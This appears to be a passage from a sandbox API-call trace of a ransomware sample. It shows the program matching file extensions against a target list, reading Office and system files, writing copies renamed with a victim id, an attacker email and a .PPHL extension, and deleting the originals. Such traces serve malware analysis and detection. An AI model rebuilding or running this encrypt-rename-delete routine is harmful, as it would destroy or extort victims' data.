lstrlenW (lpString=".jpg") returned 4 [0061.731] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.731] lstrlenW (lpString=".doc") returned 4 [0061.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString=".docx") returned 5 [0061.731] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.731] lstrlenW (lpString=".pdf") returned 4 [0061.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString=".xls") returned 4 [0061.731] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString=".xlsx") returned 5 [0061.731] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.731] lstrlenW (lpString=".ppt") returned 4 [0061.731] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.732] lstrlenW (lpString=".zip") returned 4 [0061.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.732] lstrlenW (lpString=".rar") returned 4 [0061.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.732] lstrlenW (lpString=".bz2") returned 4 [0061.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.732] lstrlenW (lpString=".7z") returned 3 [0061.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.732] lstrlenW (lpString=".dbf") returned 4 [0061.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.732] lstrlenW (lpString=".1cd") returned 4 [0061.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.732] lstrlenW (lpString=".jpg") returned 4 [0061.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.732] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.732] lstrlenW (lpString="Setup.xml") returned 9 [0061.732] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0062.319] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=31094) returned 1 [0062.319] CloseHandle (hObject=0x1d8) returned 1 [0062.320] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.320] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0062.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0062.320] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.320] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0062.320] GetLastError () returned 0x0 [0062.320] ReadFile (in: hFile=0x1d8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x7976, lpOverlapped=0x0) returned 1 [0062.323] WriteFile (in: hFile=0x190, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x7980, lpOverlapped=0x0) returned 1 [0062.325] ReadFile (in: hFile=0x1d8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0062.325] WriteFile (in: hFile=0x190, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.325] SetEndOfFile (hFile=0x190) returned 1 [0062.326] CloseHandle (hObject=0x190) returned 1 [0062.327] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.327] SetEndOfFile (hFile=0x1d8) returned 1 [0062.328] CloseHandle (hObject=0x1d8) returned 1 [0062.328] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0062.328] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.329] lstrlenW (lpString=".doc") returned 4 [0062.329] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.329] lstrlenW (lpString=".docx") returned 5 [0062.329] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.329] lstrlenW (lpString=".pdf") returned 4 [0062.329] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.329] lstrlenW (lpString=".xls") returned 4 [0062.329] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.329] lstrlenW (lpString=".xlsx") returned 5 [0062.329] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.329] lstrlenW (lpString=".ppt") returned 4 [0062.329] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.329] lstrlenW (lpString=".zip") returned 4 [0062.329] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.329] lstrlenW (lpString=".rar") returned 4 [0062.329] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.329] lstrlenW (lpString=".bz2") returned 4 [0062.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString=".7z") returned 3 [0062.330] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.330] lstrlenW (lpString=".dbf") returned 4 [0062.330] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.330] lstrlenW (lpString=".1cd") returned 4 [0062.330] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.330] lstrlenW (lpString=".jpg") returned 4 [0062.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.330] lstrlenW (lpString=".doc") returned 4 [0062.330] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString=".docx") returned 5 [0062.330] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.330] lstrlenW (lpString=".pdf") returned 4 [0062.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString=".xls") returned 4 [0062.330] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString=".xlsx") returned 5 [0062.330] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.330] lstrlenW (lpString=".ppt") returned 4 [0062.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.330] lstrlenW (lpString=".zip") returned 4 [0062.331] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.331] lstrlenW (lpString=".rar") returned 4 [0062.331] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.331] lstrlenW (lpString=".bz2") returned 4 [0062.331] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.331] lstrlenW (lpString=".7z") returned 3 [0062.331] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.331] lstrlenW (lpString=".dbf") returned 4 [0062.331] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.331] lstrlenW (lpString=".1cd") returned 4 [0062.331] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.331] lstrlenW (lpString=".jpg") returned 4 [0062.331] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.331] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0062.331] lstrlenW (lpString="MS.GIF") returned 6 [0062.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.503] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1069) returned 1 [0064.503] CloseHandle (hObject=0x198) returned 1 [0064.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0064.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.504] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.504] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0064.504] GetLastError () returned 0x0 [0064.504] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x42d, lpOverlapped=0x0) returned 1 [0064.514] WriteFile (in: hFile=0x1e0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x430, lpOverlapped=0x0) returned 1 [0064.515] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0064.515] WriteFile (in: hFile=0x1e0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0064.516] SetEndOfFile (hFile=0x1e0) returned 1 [0064.516] CloseHandle (hObject=0x1e0) returned 1 [0064.516] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0064.517] SetEndOfFile (hFile=0x198) returned 1 [0064.517] CloseHandle (hObject=0x198) returned 1 [0064.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0064.518] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0064.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.518] lstrlenW (lpString=".doc") returned 4 [0064.518] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.518] lstrlenW (lpString=".docx") returned 5 [0064.518] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0064.518] lstrlenW (lpString=".pdf") returned 4 [0064.518] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.518] lstrlenW (lpString=".xls") returned 4 [0064.518] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.518] lstrlenW (lpString=".xlsx") returned 5 [0064.518] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0064.518] lstrlenW (lpString=".ppt") returned 4 [0064.518] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.518] lstrlenW (lpString=".zip") returned 4 [0064.518] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.518] lstrlenW (lpString=".rar") returned 4 [0064.518] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.518] lstrlenW (lpString=".bz2") returned 4 [0064.518] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.519] lstrlenW (lpString=".7z") returned 3 [0064.519] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.519] lstrlenW (lpString=".dbf") returned 4 [0064.519] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.519] lstrlenW (lpString=".1cd") returned 4 [0064.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.519] lstrlenW (lpString=".jpg") returned 4 [0064.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.519] lstrlenW (lpString=".doc") returned 4 [0064.519] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.519] lstrlenW (lpString=".docx") returned 5 [0064.519] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0064.519] lstrlenW (lpString=".pdf") returned 4 [0064.519] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.519] lstrlenW (lpString=".xls") returned 4 [0064.519] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.519] lstrlenW (lpString=".xlsx") returned 5 [0064.519] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0064.519] lstrlenW (lpString=".ppt") returned 4 [0064.519] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.519] lstrlenW (lpString=".zip") returned 4 [0064.519] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.519] lstrlenW (lpString=".rar") returned 4 [0064.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.520] lstrlenW (lpString=".bz2") returned 4 [0064.520] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.520] lstrlenW (lpString=".7z") returned 3 [0064.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.520] lstrlenW (lpString=".dbf") returned 4 [0064.520] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.520] lstrlenW (lpString=".1cd") returned 4 [0064.520] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0064.520] lstrlenW (lpString=".jpg") returned 4 [0064.520] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.520] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.520] lstrlenW (lpString="auxpad.xml") returned 10 [0064.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.529] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=212) returned 1 [0064.529] CloseHandle (hObject=0x198) returned 1 [0064.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0064.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.530] lstrlenW (lpString=".doc") returned 4 [0064.530] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.530] lstrlenW (lpString=".docx") returned 5 [0064.530] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0064.530] lstrlenW (lpString=".pdf") returned 4 [0064.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.530] lstrlenW (lpString=".xls") returned 4 [0064.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.530] lstrlenW (lpString=".xlsx") returned 5 [0064.531] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0064.531] lstrlenW (lpString=".ppt") returned 4 [0064.531] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.531] lstrlenW (lpString=".zip") returned 4 [0064.531] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.531] lstrlenW (lpString=".rar") returned 4 [0064.531] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString=".bz2") returned 4 [0064.531] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString=".7z") returned 3 [0064.531] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.531] lstrlenW (lpString=".dbf") returned 4 [0064.531] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.531] lstrlenW (lpString=".1cd") returned 4 [0064.531] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.531] lstrlenW (lpString=".jpg") returned 4 [0064.531] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.531] lstrlenW (lpString=".doc") returned 4 [0064.531] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString=".docx") returned 5 [0064.531] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0064.531] lstrlenW (lpString=".pdf") returned 4 [0064.531] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString=".xls") returned 4 [0064.531] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.531] lstrlenW (lpString=".xlsx") returned 5 [0064.531] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0064.531] lstrlenW (lpString=".ppt") returned 4 [0064.531] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.532] lstrlenW (lpString=".zip") returned 4 [0064.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.532] lstrlenW (lpString=".rar") returned 4 [0064.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.532] lstrlenW (lpString=".bz2") returned 4 [0064.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.532] lstrlenW (lpString=".7z") returned 3 [0064.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.532] lstrlenW (lpString=".dbf") returned 4 [0064.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.532] lstrlenW (lpString=".1cd") returned 4 [0064.532] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0064.532] lstrlenW (lpString=".jpg") returned 4 [0064.532] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.532] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.532] lstrlenW (lpString="ea.xml") returned 6 [0064.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.533] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=384) returned 1 [0064.533] CloseHandle (hObject=0x198) returned 1 [0064.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" 